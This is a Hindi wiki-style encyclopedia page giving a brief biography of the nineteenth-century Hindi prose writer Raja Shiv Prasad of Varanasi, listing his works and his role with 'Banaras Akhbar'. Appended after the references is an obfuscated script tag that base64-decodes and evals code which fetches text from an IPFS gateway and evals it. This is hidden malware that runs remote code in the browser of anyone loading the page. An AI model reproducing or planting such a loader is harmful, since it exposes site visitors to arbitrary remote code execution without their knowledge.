राजा शिव प्रसाद
भारत डिस्कवरी प्रस्तुति
दिनेश (वार्ता | योगदान) द्वारा परिवर्तित 11:40, 10 जनवरी 2014 का अवतरण (''''राजा शिव प्रसाद''' (जन्म- 1823, वाराणसी, उत्तर प्रदेश; ...' के साथ नया पन्ना बनाया)
राजा शिव प्रसाद (जन्म- 1823, वाराणसी, उत्तर प्रदेश; मृत्यु- 1895) प्रारंभिक हिन्दी गद्य साहित्य के निर्माता थे। राजा राममोहन राय, राजा शिव प्रसाद, जुगलकिशोर शुक्ल और बंकिमचंद्र चटर्जी जैसे दिग्गज कलमकारों ने ही पत्र-पत्रिकाओं को जनजागरण का अहम हथियार बनाया था।
- गोविन्द रघुनाथ धत्ते ने सन 1845 में राजा शिव प्रसाद की मदद से ‘बनारस अख़बार’ निकाला था।
- राजा शिव प्रसाद की रचनाओं में निम्नलिखित रचनाएँ बहुत प्रसिद्ध थीं-
- मानव धर्मसार
- वामा मनरंजन
- आतसियों का कोड़ा
- विद्यांकर
- राजा भोज का सपना
- 'इतिहास तिमिर नाशक' और 'बैताल पच्चीसी' जैसी पुस्तकों में उर्दू मिश्रित हिन्दी को इन्होंने प्रश्रय दिया।
- राजा शिव प्रसाद का निधन सन 1895 ई. में हुआ।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ काशी कथा, साहित्यकार (हिन्दी)। । अभिगमन तिथि: 10 जनवरी, 2014।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>